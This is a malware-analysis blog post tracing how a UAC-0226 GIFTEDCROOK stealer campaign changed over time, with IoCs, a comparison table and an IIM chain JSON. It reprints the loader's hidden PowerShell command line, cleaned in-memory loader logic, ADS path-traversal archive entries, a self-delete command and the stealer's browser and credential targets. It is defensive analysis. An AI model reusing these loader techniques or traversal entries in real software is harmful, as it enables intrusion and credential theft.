Tracking UAC-0226 Tooling Evolution: From WinRAR ADS to Reflective GIFTEDCROOK Loading

by Robin Dost


A few months ago, I analyzed a UAC-0226 campaign delivering a GIFTEDCROOK stealer through a weaponized WinRAR archive.
Of course, that wasn’t it yet, we’re going to keep tracking our friends, so let’s go 🙂

The chain was relatively simple:

RAR archive
    -> decoy PDF
    -> LNK
    -> obfuscated PowerShell
    -> additively encoded payload
    -> GIFTEDCROOK


Sample: 420f1931af9b3f7d02c5edfc78eb69abdad6e71d2c3e9b81f9cbc3823a503654

The sample discussed here follows the same general idea, but the implementation is different.

This time, the actor uses an ADS-based WinRAR path traversal to silently place a shortcut in the Windows Startup directory while dropping two additional stages into C:\ProgramData.

The PowerShell loader is still buried under generated garbage, but the payload behind it is more interesting: an additively encoded, headerless PE image containing its own reflective mapper.

Underneath that loader sits a browser and file stealer targeting Chromium, Firefox, documents, VPN configurations, KeePass databases and other potentially sensitive material.

So, let’s take the chain apart.

Before we start:

I wilI will use my Infrastructure Intelligence Model (IIM) to demonstrate how easily two attacks from the same actor can be compared without reducing the analysis to changing hashes, filenames and IP addresses.

If you are new to IIM, I recommend reading the following pages first:

https://blog.synapticsystems.de/attack-pattern-mapping-for-adversary-infrastructure/
https://blog.synapticsystems.de/iimql-the-query-language-for-adversary-infrastructure-4-7/
https://blog.synapticsystems.de/iim-the-grammar-of-adversary-infrastructure/

Why IIM is useful in this case

Traditional threat intelligence platforms are good at storing indicators and mapping techniques.
What they often fail to preserve is the structure of the attack itself:

How was the payload delivered?
Which component triggered execution?
What changed between campaigns?
Which parts of the chain remained stable?

This becomes especially visible with actors such as Gamaredon.
Their infrastructure, filenames, scripts and payloads rotate constantly, while recurring operational patterns often remain hidden across separate reports and IOC collections.

IIM models each component by its role inside the chain, such as Entry, Staging, Payload or C2.
This makes different campaigns directly comparable, even when all underlying indicators have changed.

The result is what I call Tooling Evolution Intelligence: understanding how an actors delivery methods, loaders, payload formats and operational decisions evolve over time.

In the following analysis, two UAC-0226/GIFTEDCROOK attacks are placed into the same IIM view.
The underlying pattern remains recognizable, while changes in persistence, payload encoding, in-memory loading and telemetry become visible immediately.

Initial archive structure

The archive was presented as a Ukrainian PDF named:

взвод розвідки.pdf

This roughly translates to:

Reconnaissance platoon

The visible PDF contains references to:

Дрон на оптоволокні
Fiber-optic drone

Літак-розвідник
Reconnaissance aircraft

It also contains names and military ranks.

That is a much narrower theme than a generic military document.
The lure appears specifically designed around Ukrainian reconnaissance and UAV-related personnel.

The recovered archive entries looked like this:

взвод розвідки.pdf

взвод розвідки.pdf:..\..\..\..\..\..\..\..\..\..\..\..\ProgramData\WC3

взвод розвідки.pdf:..\..\..\..\..\..\..\..\..\..\..\..\ProgramData\wt1

взвод розвідки.pdf:..\..\..\..\..\Roaming\Microsoft\Windows\
Start Menu\Programs\Startup\ThJRq_6uEj.lnk

The colon after the PDF filename is important.

These are not merely oddly named files.
The syntax is consistent with NTFS Alternate Data Streams combined with path traversal.
If you follow this Blog, you might already know this CVE through my Gamaredon (UAC-0010) series.

CVE-2025-6218 is the related earlier WinRAR path traversal issue.
Both vulnerabilities are often mentioned together, but the ADS structure visible in this archive is the distinguishing part of CVE-2025-8088.

The resulting file placement is:

C:\ProgramData\WC3
C:\ProgramData\wt1

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
ThJRq_6uEj.lnk

This already changes the interaction model compared to the previous sample.

The victim does not necessarily need to identify and manually launch a suspicious shortcut from the extracted archive.
The shortcut is placed directly into the user’s Startup directory and is executed when that user logs in again.

Stage 0: The Startup shortcut

The shortcut points to:

C:\Windows\System32\cmd.exe

Its arguments normalize to approximately:

cmd.exe /c start /min "" ^
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass ^
-Command "powershell -NoProfile -ExecutionPolicy Bypass ^
-Command \"iex (Get-Content 'C:\ProgramData\WC3' -Raw)\""

The execution chain is therefore:

Startup LNK
    -> cmd.exe
    -> minimized PowerShell
    -> second hidden PowerShell
    -> read C:\ProgramData\WC3
    -> execute it through IEX

There is no remote download at this point.
Everything required for execution has already been planted by the archive.

The shortcut metadata contains the machine identifier:

desktop-hagd25b

It also contains timestamps close to the creation time of the decoy PDF.
These values may describe the system used to package the archive, although LNK and document timestamps should always be treated as low-confidence artifacts because they are easy to manipulate.

Stage 1: Deobfuscating WC3

Despite its extensionless filename, WC3 is a PowerShell script.

At first glance, it is intentionally unpleasant:

random function names
random variable names
large meaningless arrays
constant arithmetic
thousands of irrelevant Write-Host calls
sleep operations
unused helper functions

The script is around 92 KB, but only a small fraction of it contributes to the actual execution chain.

This is the same general obfuscation philosophy seen in the earlier UAC-0226 sample: generate enough noise to make the script look complicated without introducing a particularly strong protection mechanism.

The first step was therefore not to understand every function.

It was to identify the small number of operations that interact with files, memory and native APIs.

After removing the junk, the relevant constants were:

Stage path:       C:\ProgramData\wt1
Stage size:       1,131,008 bytes
Decode value:     72 / 0x48
Execution offset: 95,152 / 0x173B0
Initial delay:    60 seconds

The script dynamically resolves the following APIs:

ntdll!NtAllocateVirtualMemory
ntdll!NtProtectVirtualMemory
ntdll!NtCreateThreadEx
ntdll!NtWaitForSingleObject
ntdll!NtClose

kernel32!GetExitCodeThread

It resolves them through .NET reflection and Microsoft.Win32.UnsafeNativeMethods rather than declaring them through a normal Add-Type block.

The cleaned execution logic looks like this:

Start-Sleep -Seconds 60

$stage = [System.IO.File]::ReadAllBytes("C:\ProgramData\wt1")

for ($i = 0; $i -lt 1131008; $i++) {
    $stage[$i] = [byte](($stage[$i] - 72) -band 0xff)
}

$base = NtAllocateVirtualMemory(
    current_process,
    1131008,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
)

Copy-ToMemory $stage $base

NtProtectVirtualMemory(
    current_process,
    $base,
    1131008,
    PAGE_EXECUTE_READWRITE
)

$thread = NtCreateThreadEx(
    current_process,
    $base + 0x173B0,
    $base
)

NtWaitForSingleObject($thread)

The decoded data is copied into the current PowerShell process and executed at a fixed offset.

That fixed offset becomes important later.

Loader telemetry

After the thread exits, WC3 collects four 32-bit values:

DWORD 0: thread exit code
DWORD 1: value at decoded image + 0x44
DWORD 2: value at decoded image + 0x48
DWORD 3: value at decoded image + 0x4C

The resulting 16-byte structure is sent to:

hxxps://142.111.194[.]73:8640/dj5FZEiLnA/

Before sending it, the loader globally disables TLS certificate validation.
Initially, the three values stored inside the decoded image looked like possible output from the stealer.
Further analysis showed that this was incorrect.
The fields are written by the reflective mapper and represent loader status, an error or NTSTATUS value and a progress or stage indicator.
This means the outer PowerShell layer implements its own execution telemetry.

The operator can likely distinguish between outcomes such as:

mapping started
allocation failed
imports failed
relocations failed
entry point reached
payload exited

This callback is separate from the actual data collection performed by the inner DLL.

Stage 2: Decoding wt1

The second ProgramData file is exactly:

1,131,008 bytes
0x114200 bytes

The decoding operation is just an additive byte transformation:

The same operation can be described as:

plaintext[i] = ciphertext[i] - 72 mod 256

This is not encryption in any meaningful cryptographic sense, it is enough to hide readable strings, signatures and headers from basic static inspection.

The previous UAC-0226 sample used essentially the same technique, but with a subtraction value of 117.
Here, the value has changed to 72.

After decoding, I expected a normal PE file.
Instead, the file still did not begin with:

MZ

At this point it would be easy to assume that the decoder was wrong.

It was not.

The payload is a headerless PE image

Although the DOS and NT headers had been replaced, the decoded data still contained recognizable PE structures:

.text
.rdata
.data
.pdata
.fptable
.reloc

The first 0x400 bytes form a custom header used by the loader.

Enough metadata remained to reconstruct the original image:

FieldValue
Original ImageBase0x180000000
SizeOfImage0x11A000
Original PE EntryPoint0x8FA84
Export Directory RVA0xDD580
Import Directory RVA0xDD5C0
Relocation Directory RVA0x119000
Number of sections6

The section layout was:

SectionRVARaw offsetRaw sizePermissions
.text0x10000x4000xAFA00RX
.rdata0xB10000xAFE000x2D800R
.data0xDF0000xDD6000x2D800RW
.pdata0x10F0000x10AE000x8200R
.fptable0x1180000x1130000x200RW
.reloc0x1190000x1132000x1000R

The export directory revealed:

DLL name: Main.dll
Export:   Func
Ordinal:  1
RVA:      0x17FB0

To convert that RVA into a raw file offset:

raw offset =
    .text raw offset
    + (export RVA - .text RVA)

raw offset =
    0x400
    + (0x17FB0 - 0x1000)

raw offset =
    0x173B0

That result exactly matches the hardcoded execution offset inside WC3:

0x173B0

So the PowerShell loader is not jumping into an arbitrary shellcode location.

It is calling:

Main.dll!Func

Main.dll!Func: The reflective mapper

The exported function is not the stealer’s main logic.

It is a custom reflective PE loader.

Its job is to take the headerless image passed by PowerShell and build a working DLL in memory.

The process is approximately:

validate custom header
    -> resolve APIs through PEB walking and export hashing
    -> allocate SizeOfImage
    -> copy headers and sections
    -> resolve imports
    -> apply relocations
    -> set section permissions
    -> initialize runtime structures
    -> call DLL entry point with DLL_PROCESS_ATTACH

The custom header acts as communication space between the mapper and the PowerShell loader.
This is where the status values at offsets 0x44, 0x48 and 0x4C originate.

The design gives the actor several advantages:

  1. The file does not look like a standard PE on disk.
  2. Static tools cannot parse it correctly without reconstruction.
  3. The payload never needs to be written back as a valid DLL.
  4. The outer loader can receive detailed mapper status.
  5. Native API usage avoids some of the most obvious PowerShell injection patterns.

This is a meaningful evolution from the simpler loader in the earlier campaign.
The previous sample decoded a payload and used more conventional memory allocation and thread execution.
The current build adds a dedicated custom-header format and a complete reflective mapper between the PowerShell script and the final DLL.

Reconstructing the inner strings

Once the PE structure was rebuilt, the next obstacle was the internal string handling.
The payload does not store most relevant strings as plaintext.
A function near the beginning of the .text section implements an RC4-like stream cipher:

256-entry state array
RC4-style key scheduling
RC4-style pseudo-random generation
state swaps
XOR with generated keystream

The main difference is that the implementation processes 16-bit values corresponding to UTF-16 words rather than treating everything as ordinary 8-bit strings.

I identified 118 call sites to this decoder.
Of those, 116 could be statically reconstructed.

The first useful results were environment variable names:

USERNAME
USERPROFILE
TEMP

The malware does not simply call GetEnvironmentVariableW.
Instead, it walks the process environment through the PEB and locates the requested values itself.

That is not necessary for functionality, but it reduces obvious API-level indicators.

Browser collection

The decrypted strings revealed explicit targeting of several browsers.

Chromium-based browsers

Google Chrome
Microsoft Edge
Opera

The payload looks for:

Login Data
Cookies
Network\Cookies
Local State
Last Version

The imported function:

CryptUnprotectData

is consistent with decrypting DPAPI-protected Chromium key material and locally stored secrets.

The payload also contains strings used to identify and filter Chromium subprocesses:

--type=utility
--type=crashpad-handler
--type=gpu-process

Firefox

The malware searches Firefox profile directories for:

logins.json
key3.db
key4.db
cookies.sqlite

This gives it access to stored login metadata, cookies and Firefox key database material.

So this is not just a generic document collector.

It includes dedicated browser-stealing functionality across both Chromium and Firefox ecosystems.

File collection

The payload also maintains an extension allowlist:

txtdocdocxdocmxls
xlsxxlsmxltxltxxltm
csvrtfdotdotxdotm
odtpptpptxpptmpps
ppsxpotpdfmdlog
emlconfziprar7z
targzipcabovpnkdbx
jkspngbmpjpegjpg

Some extensions are especially relevant:

ovpn  -> OpenVPN profiles and possibly embedded credentials
kdbx  -> KeePass databases
jks   -> Java KeyStores
eml   -> saved email messages

The collector searches locations including:

Desktop
Documents
Downloads
drive roots

Strings such as:

/Files/
/Files/C/

suggest that collected files are organized by source or drive inside the staging structure.

Local staging

The reconstructed paths include:

%USERPROFILE%\RJ_8An6YWmhvYh9I8Me
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me\%USERNAME%
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me\
%USERNAME%\JUWOyZd5pm7qym
%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip
%TEMP%\oBKhrQLe1CKmO3RhHO
%TEMP%\logs.txt

The randomly named ZIP file is very likely the final local staging container:

%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip

The file:

%TEMP%\oBKhrQLe1CKmO3RhHO

is used as an eight-byte persistent identifier.

The logic is approximately:

if identifier file exists:
    read first eight bytes
else:
    identifier = GetSystemTimeAsFileTime()
    write identifier to file

This gives the malware a stable per-infection or per-host value without relying on the registry.

Additional referenced files include:

ExitCode.txt
Key10.txt
logs.txt

Their exact role was not fully resolved through static analysis.

Persistence and cleanup

The inner payload contains active references to:

C:\ProgramData\

%APPDATA%\Microsoft\Windows\Start Menu\
Programs\Startup\

cmd.exe /c "timeout /t 5 & del "

This supports code paths for:

copying or placing files in ProgramData
interacting with the user Startup folder
delayed self-deletion

The initial persistence, however, is already established by the archive itself.
The WinRAR path traversal places the LNK in Startup before the malware is executed.
The internal persistence-related code may represent:

installation repair
payload migration
redundant persistence
cleanup after execution

The exact conditions for each branch would require dynamic tracing, but it’s too hot and i am too lazy today.

What changed compared to the previous UAC-0226 sample?

The two chains are clearly related in design philosophy.

(IIM Comparison View in Kraken)


If you want to compare the two chains yourself, here’s the Chain as JSON, you can throw it into the IIM Workbench and explore it for yourself 🙂
And: If you are interested in using my tooling or you want to support me in any way, feel free to visit https://malwarebox.eu or message me via contact@robin-dost.de

Click for IIM Chain
{
  "actor_id": "UAC-0226",
  "attack_annotations": [
    {
      "comment": "Both observations use PowerShell loaders.",
      "name": "PowerShell",
      "tactic": "Execution",
      "technique_id": "T1059.001"
    },
    {
      "comment": "Generated junk code and encoded payload stages.",
      "name": "Obfuscated/Compressed Files and Information",
      "tactic": "Defense Evasion",
      "technique_id": "T1027"
    },
    {
      "comment": "Additive decoding: 117 in April; 0x48 in June.",
      "name": "Deobfuscate/Decode Files or Information",
      "tactic": "Defense Evasion",
      "technique_id": "T1140"
    },
    {
      "comment": "June observation plants the LNK in the user Startup folder.",
      "name": "Registry Run Keys / Startup Folder",
      "tactic": "Persistence",
      "technique_id": "T1547.001"
    },
    {
      "comment": "June observation maps a headerless PE image through Main.dll!Func.",
      "name": "Reflective Code Loading",
      "tactic": "Defense Evasion",
      "technique_id": "T1620"
    }
  ],
  "chain": [
    {
      "entity_id": "apr_archive",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ],
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_decoy",
      "role": "entry",
      "role_confidence": "confirmed",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_lnk",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "baseline-visible-lnk",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_loader",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "virtualalloc-loader",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_encoded",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "subtract-117",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_payload",
      "role": "payload",
      "role_confidence": "likely",
      "x_change_marker": "directly-reconstructed-pe",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "apr_c2",
      "role": "c2",
      "role_confidence": "confirmed",
      "x_change_marker": "data-exfiltration-c2",
      "x_lane": "april-2026"
    },
    {
      "entity_id": "jun_archive",
      "needs_review": true,
      "review_notes": "Original archive itself was not supplied; entity value is descriptive.",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ],
      "x_change_marker": "ads-path-traversal",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_decoy",
      "role": "entry",
      "role_confidence": "confirmed",
      "x_change_marker": "uav-recon-targeting",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_lnk",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "startup-persistence",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_wc3",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "native-ntapi-loader",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_wt1",
      "role": "staging",
      "role_confidence": "confirmed",
      "x_change_marker": "subtract-0x48-custom-header",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_payload",
      "role": "payload",
      "role_confidence": "likely",
      "x_change_marker": "reflective-pe-mapper",
      "x_lane": "june-2026"
    },
    {
      "entity_id": "jun_telemetry",
      "role": "c2",
      "role_confidence": "confirmed",
      "x_change_marker": "loader-telemetry-not-exfiltration",
      "x_lane": "june-2026"
    }
  ],
  "chain_id": "uac-0226-giftedcrook-apr-jun-2026-comparison",
  "confidence": "likely",
  "description": "Dual-lane comparison graph overlaying two related UAC-0226/GIFTEDCROOK observations. The April and June lanes remain disconnected so the visualizer can compare stable structure and implementation changes without asserting that one sample directly produced the other.",
  "entities": [
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_archive",
      "source": "Synaptic Security Blog",
      "type": "hash",
      "value": "7200a9f1e1ea51b66ab9c9274e9d8f805633179634e8ff4dcb8ef82bc02518df",
      "x_label": "Weaponized RAR archive",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_decoy",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "Відомості з реєстру військовозобов’язаних про працівників №20260409-7496423-1.pdf",
      "x_label": "Military service registry decoy",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_lnk",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "ojMP31J28ohEDxT.lnk",
      "x_label": "Visible archive shortcut",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_loader",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "05fE",
      "x_label": "Obfuscated PowerShell loader",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_encoded",
      "source": "Synaptic Security Blog",
      "type": "file",
      "value": "Arj",
      "x_label": "Additively encoded payload; subtract 117",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_payload",
      "source": "Synaptic Security Blog",
      "type": "hash",
      "value": "2a8ea9f1ad8936fb302243faa64b91c5767df411923715cbdb1a869e3bfd7e6d",
      "x_label": "Decoded GIFTEDCROOK payload",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/obfuscation-without-effort-breaking-a-uac-0226-giftedcrook-stealer/"
      ],
      "id": "apr_c2",
      "source": "Synaptic Security Blog",
      "type": "url",
      "value": "https://136.0.141[.]138:8406/rcv/",
      "x_label": "RC4-reconstructed exfiltration endpoint",
      "x_lane": "april-2026"
    },
    {
      "evidence": [
        "Analyst-provided archive entry structure"
      ],
      "id": "jun_archive",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "Weaponized RAR containing взвод розвідки.pdf (original archive filename and hash unavailable)",
      "x_label": "ADS/path-traversal archive",
      "x_lane": "june-2026",
      "x_value_status": "descriptive-placeholder"
    },
    {
      "evidence": [
        "SHA256 dc4c906e56ecb446cbb10b227e1fb470e428108584678314533d80e52a2b9b30"
      ],
      "id": "jun_decoy",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "взвод розвідки.pdf",
      "x_label": "Reconnaissance/UAV-themed decoy",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 05e131555faabae0960f0527cfb72d2b8e2381fd0fde22b0b4e2b365c7faf445"
      ],
      "id": "jun_lnk",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ThJRq_6uEj.lnk",
      "x_label": "Startup-planted shortcut",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 6b7e3dd5af5a56dd24e96c5b13282ad084c78d0a589d5e4c1b6ba58b4525d9a8"
      ],
      "id": "jun_wc3",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "C:\\ProgramData\\WC3",
      "x_label": "PowerShell loader using native NT APIs",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "SHA256 3006a6639eff677b08595927cf219a3bcd5fdd02bfd592606316bfd4623bb902"
      ],
      "id": "jun_wt1",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "file",
      "value": "C:\\ProgramData\\wt1",
      "x_label": "Encoded headerless PE image; subtract 0x48",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "Decoded custom-header image",
        "Main.dll!Func at raw offset 0x173B0 / export RVA 0x17FB0"
      ],
      "id": "jun_payload",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "hash",
      "value": "78538f945a1d20aa392f3065f222223a4ed47284abfafa8c135bdfd9eacef222",
      "x_label": "Reflectively mapped GIFTEDCROOK payload",
      "x_lane": "june-2026"
    },
    {
      "evidence": [
        "Recovered from WC3 PowerShell loader"
      ],
      "id": "jun_telemetry",
      "source": "Malwarebox Research static analysis, June 2026",
      "type": "url",
      "value": "https://142.111.194[.]73:8640/dj5FZEiLnA/",
      "x_label": "Mapper execution telemetry endpoint",
      "x_lane": "june-2026"
    }
  ],
  "iim_version": "1.1",
  "name": "UAC-0226 GIFTEDCROOK Evolution: April vs June 2026",
  "needs_review": true,
  "relations": [
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 1,
      "to": "apr_decoy",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 2,
      "to": "apr_lnk",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 3,
      "to": "apr_loader",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_archive",
      "sequence_order": 4,
      "to": "apr_encoded",
      "type": "drops",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_lnk",
      "sequence_order": 5,
      "to": "apr_loader",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_loader",
      "sequence_order": 6,
      "to": "apr_encoded",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "likely",
      "from": "apr_encoded",
      "sequence_order": 7,
      "to": "apr_payload",
      "type": "execute",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "apr_payload",
      "sequence_order": 8,
      "to": "apr_c2",
      "type": "connect",
      "x_lane": "april-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 101,
      "to": "jun_decoy",
      "type": "drops",
      "x_lane": "june-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 102,
      "to": "jun_lnk",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into Startup"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 103,
      "to": "jun_wc3",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into ProgramData"
    },
    {
      "confidence": "confirmed",
      "from": "jun_archive",
      "sequence_order": 104,
      "to": "jun_wt1",
      "type": "drops",
      "x_lane": "june-2026",
      "x_mechanism": "ADS path traversal into ProgramData"
    },
    {
      "confidence": "confirmed",
      "from": "jun_lnk",
      "sequence_order": 105,
      "to": "jun_wc3",
      "type": "execute",
      "x_lane": "june-2026"
    },
    {
      "confidence": "confirmed",
      "from": "jun_wc3",
      "sequence_order": 106,
      "to": "jun_wt1",
      "type": "execute",
      "x_lane": "june-2026",
      "x_mechanism": "Read, subtract 0x48, copy to memory, invoke raw offset 0x173B0"
    },
    {
      "confidence": "likely",
      "from": "jun_wt1",
      "sequence_order": 107,
      "to": "jun_payload",
      "type": "execute",
      "x_lane": "june-2026",
      "x_mechanism": "Custom reflective mapper resolves imports/relocations and calls DllMain"
    },
    {
      "confidence": "confirmed",
      "from": "jun_wc3",
      "sequence_order": 108,
      "to": "jun_telemetry",
      "type": "connect",
      "x_lane": "june-2026",
      "x_purpose": "16-byte mapper status telemetry"
    }
  ],
  "title": "UAC-0226 GIFTEDCROOK Evolution: April vs June 2026",
  "x_comparison_mode": true,
  "x_comparison_note": "Schema-valid IIM chain used as an analytical overlay. For strict federation, use the two single-observation chain files included in the comparison pack.",
  "x_lanes": [
    {
      "id": "april-2026",
      "label": "April 2026 / previous sample",
      "order": 1
    },
    {
      "id": "june-2026",
      "label": "June 2026 / current sample",
      "order": 2
    }
  ]
}


They both use:

weaponized WinRAR archives
Ukrainian military-themed decoys
LNK-based execution
PowerShell
generated junk code
simple additive payload encoding
runtime-resolved APIs
RC4-like internal string protection
data collection and exfiltration

But the current chain is more operationalized.

ComponentPrevious sampleCurrent sample
Visible filesPDF, LNK, Arj, 05fEOne visible PDF, hidden ADS-based payload entries
ExecutionUser opens the LNKLNK is planted in Startup
Payload locationFiles extracted with the lureWC3 and wt1 written to ProgramData
Byte transformationSubtract 117Subtract 72
Native executionVirtualAlloc-style loaderNtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx
Decoded formatDirectly analyzable payloadHeaderless PE with custom metadata
In-memory loadingBasic memory executionFull reflective PE mapper
Loader feedbackNot observedDedicated 16-byte mapper telemetry
Browser targetingGIFTEDCROOK collectionExplicit Chrome, Edge, Opera and Firefox collection
File collectionChunked exfiltrationBroad document, archive, VPN, KeePass and keystore collection
C2 recoveryRC4-reconstructed C2Outer callback recovered; inner C2 remains encoded or dynamic
C2 Endpoint*:8406/rcv*:8640/dj5FZEiLnA

The change is not that UAC-0226 suddenly started using an advanced offensive framework.
The core components are still fairly straightforward.

The actual change is that the chain has become better packaged:

less visible archive content
automatic Startup execution
clean separation between loader and payload
custom header format
reflective DLL mapping
separate execution telemetry
broader and more explicit collection logic

The actor is still using simple building blocks, they are just assembling them more effectively.

Infrastructure Changes

Hosting-Provider dig not change, UAC-0226 is still using evoxt.com as their hosting provider.


Certificate changed:


Also there were changes in the default webserver request:


Port and Endpoint Changed too:

Before: *:8406/rcv
New: *:8640/dj5FZEiLnA

Note: This is likely intended to evade endpoint and network-based detection. The previous combination of port 8406 and the /rcv endpoint used by UAC-0226 have become a known indicator for EDR and intrusion-detection systems.
In response, the operators transposed the port from 8406 to 8640 and replaced the static endpoint with a randomly generated string.


Attribution considerations

The campaign context and technical overlap are consistent with the previously observed UAC-0226 and GIFTEDCROOK activity.
However, attribution should not rest on a single IP address, one obfuscation pattern or one Ukrainian lure.

The more useful similarities are structural:

the same archive-to-LNK execution model
the same generated PowerShell noise
the same additive byte-decoding concept
the same staged in-memory execution
the same RC4-like string protection
the same browser and file theft objective
the same focus on Ukrainian military-related targets

These are repeatable implementation and operational decisions rather than isolated indicators.
The current sample therefore looks less like an unrelated stealer and more like a further iteration of the same UAC-0226/GIFTEDCROOK tooling line.

Final thoughts

The PowerShell still relies heavily on generated noise.
The outer payload encoding is still a basic byte subtraction.
The inner strings are protected with a recognizable RC4-like construction.

But the overall chain has improved.

The archive hides its real contents behind NTFS Alternate Data Streams.
Persistence is established during extraction.
The payload is split across ProgramData.
The decoded stage no longer presents a normal PE header.
A reflective mapper rebuilds the DLL in memory, and the outer loader reports detailed execution status back to the operator.

That is enough to increase the time required for analysis and reduce the number of obvious on-disk indicators.

It is not particularly elegant.
But, once again, it does not need to be.
It only needs to survive long enough to collect browser secrets, documents, VPN configurations and credentials from the intended target.

IoCs

SHA-256
Malicious Archive
420f1931af9b3f7d02c5edfc78eb69abdad6e71d2c3e9b81f9cbc3823a503654

Decoy PDF
dc4c906e56ecb446cbb10b227e1fb470e428108584678314533d80e52a2b9b30

Startup LNK
05e131555faabae0960f0527cfb72d2b8e2381fd0fde22b0b4e2b365c7faf445

WC3 PowerShell loader
6b7e3dd5af5a56dd24e96c5b13282ad084c78d0a589d5e4c1b6ba58b4525d9a8

Encoded wt1
3006a6639eff677b08595927cf219a3bcd5fdd02bfd592606316bfd4623bb902

Decoded custom-header image
78538f945a1d20aa392f3065f222223a4ed47284abfafa8c135bdfd9eacef222

Analysis-only reconstructed PE
b268ecbc386d32ace546dd483707fd2c923de8f091741e544f52c7f872fe0d91
Network
142.111.194[.]73:8640
/dj5FZEiLnA/

The following address appears to be used as a connectivity check and is not itself a malicious infrastructure indicator:

1.1.1.1
Files and paths
C:\ProgramData\WC3
C:\ProgramData\wt1
%APPDATA%\Microsoft\Windows\Start Menu\
Programs\Startup\ThJRq_6uEj.lnk
%USERPROFILE%\RJ_8An6YWmhvYh9I8Me
%USERPROFILE%\qhGQKHaADCeIZe2UoRub.zip
%TEMP%\oBKhrQLe1CKmO3RhHO
%TEMP%\logs.txt
ExitCode.txt
Key10.txt
Loader markers
Main.dll
Func
0x173B0
0x17FB0
0x114200

One Response to “Tracking UAC-0226 Tooling Evolution: From WinRAR ADS to Reflective GIFTEDCROOK Loading

Upload Response

Your data will be stored in the mainframe. Required fields are marked *